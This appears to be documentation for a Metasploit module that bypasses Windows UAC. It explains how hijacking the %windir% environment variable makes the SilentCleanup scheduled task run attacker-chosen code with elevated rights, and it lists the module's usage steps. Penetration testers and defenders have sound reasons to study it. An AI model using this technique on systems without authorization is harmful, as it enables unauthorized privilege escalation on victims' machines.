## Introduction

This module will bypass UAC on any Windows installation with Powershell installed.

There's a task in Windows Task Scheduler called "SilentCleanup" which, while it's executed as Users, automatically runs with elevated privileges.
When it runs, it executes the file %windir%\system32\cleanmgr.exe. Since it runs as Users, and we can control user's environment variables,
%windir% (normally pointing to C:\Windows) can be changed to point to whatever we want, and it'll run as admin. In order to work, the code must
be saved in a script file somewhere, it cannot be run directly from powershell or from the run dialog.

## Usage

1. Create a session on the target system under the context of a local administrative user.
1. Begin interacting with the module: `use exploit/windows/local/bypassuac_silentcleanup`.
1. Set the `PAYLOAD` and configure it correctly, making sure the architecture is correct.
1. If an existing handler is configured to receive the elevated session, then the module's
   handler should be disabled: `set DisablePayloadHandler true`.
1. Make sure that the `SESSION` value is set to the existing session identifier.
1. Invoke the module: `run`.
